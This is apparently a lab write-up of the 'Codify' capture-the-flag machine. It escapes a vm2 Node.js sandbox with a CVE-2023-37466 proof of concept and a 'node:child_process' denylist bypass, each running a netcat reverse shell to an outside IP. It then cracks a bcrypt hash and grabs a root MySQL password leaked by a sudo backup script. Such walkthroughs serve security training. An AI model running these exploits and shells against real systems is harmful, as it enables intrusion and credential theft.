This box starts off with a node.js sandbox web application that let’s anybody compile and run node.js code online.
Reconnaissance
There is an about page that discusses the use of vm2
as their sandbox.
They also mention some modules that have been blocked to prevent remote code execution on their servers.
Foothold
There are a few ways to get a foothold on this machine:
- Researching
vm2
we find out it is not being maintained anymore due to presences of security issues like, for example, CVE-2023-37466. - Trying out some other bypasses we noticed that the denylist for
child-process
can be bypassed by usingnode:child-process
.
CVE-2023-37466
We can use the PoC from here and modify it to execute a reverse shell payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.153 1234 >/tmp/f').toString(); }
)
}
}
};
p.then();
node:child-process
We can use the node:
prefix to access core Node.js modules. It is not different than calling child-process
directly but using this prefix allows us to bypass the denylist.
1
require('node:child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.153 1234 >/tmp/f')
Lateral Movement
We get access to the service “svc” account. From here, we can see another user called “joshua”.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.153] from (UNKNOWN) [10.10.11.239] 45854
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
...
...
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
...
We can check out the web application repository to see if there are any credentials to be found.
1
2
3
4
5
6
7
8
9
10
11
12
svc@codify:~$ cd /var/www
svc@codify:/var/www$ ls
contact
editor
html
svc@codify:/var/www$ cd contact
svc@codify:/var/www/contact$ ls
index.js
package.json
package-lock.json
templates
tickets.db
We find a database, upon viewing the database we find a BCrypt
hash that seems to be associated with the user “joshua”.
1
2
3
4
5
6
7
8
9
10
11
svc@codify:/var/www/contact$ cat tickets.db
�T5��T�format 3@ .WJ
otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��tableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
��G�joshua$2a$12**REDACTED**/Zw2
��
����ua users
ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
We can crack this hash by running john
.
1
2
3
4
5
6
7
8
9
10
$ cat hash.txt
joshua:$2a$12**REDACTED**/Zw2
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s**REDACTED**1 (joshua)
Session completed.
We can now log into the joshua account and get the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh joshua@10.10.11.239
joshua@codify:~$ ls -lah
total 32K
drwxrwx--- 3 joshua joshua 4.0K Nov 2 12:22 .
drwxr-xr-x 4 joshua joshua 4.0K Sep 12 17:10 ..
lrwxrwxrwx 1 root root 9 May 30 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 joshua joshua 220 Apr 21 2023 .bash_logout
-rw-r--r-- 1 joshua joshua 3.7K Apr 21 2023 .bashrc
drwx------ 2 joshua joshua 4.0K Sep 14 14:44 .cache
-rw-r--r-- 1 joshua joshua 807 Apr 21 2023 .profile
-rw-r----- 1 root joshua 33 Nov 6 19:20 user.txt
-rw-r--r-- 1 joshua joshua 39 Sep 14 14:45 .vimrc
joshua@codify:~$ cat user.txt
9f1a**REDACTED**da78
Privilege Escalation
The “joshua” account can run /opt/scripts/mysql-backup.sh
as root. When we check the contents of this script we see it displays the DB_PASS
in plaintext when it runs mysql
commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
We can run pspy64
to look at the current running jobs. We see the script is being executed and the mysql
commands containing the plaintext root password as well.
1
2
3
4
5
6
7
8
joshua@codify:~$ /tmp/pspy64
2023/11/06 19:38:07 CMD: UID=0 PID=11015 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/06 19:38:07 CMD: UID=0 PID=11014 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh**REDACTED**2kjh3 mysql
2023/11/06 19:38:07 CMD: UID=0 PID=11016 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/06 19:38:07 CMD: UID=0 PID=11017 | /usr/bin/echo Password confirmation failed!
2023/11/06 19:38:08 CMD: UID=0 PID=11018 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/06 19:38:08 CMD: UID=0 PID=11020 | /usr/bin/gzip
2023/11/06 19:38:08 CMD: UID=0 PID=11019 | /bin/bash /opt/scripts/mysql-backup.sh
We can use the root password to log into root and get the root flag.
1
2
3
4
joshua@codify:~$ su
Password:
root@codify:/home/joshua# cat /root/root.txt
cc39**REDACTED**eb61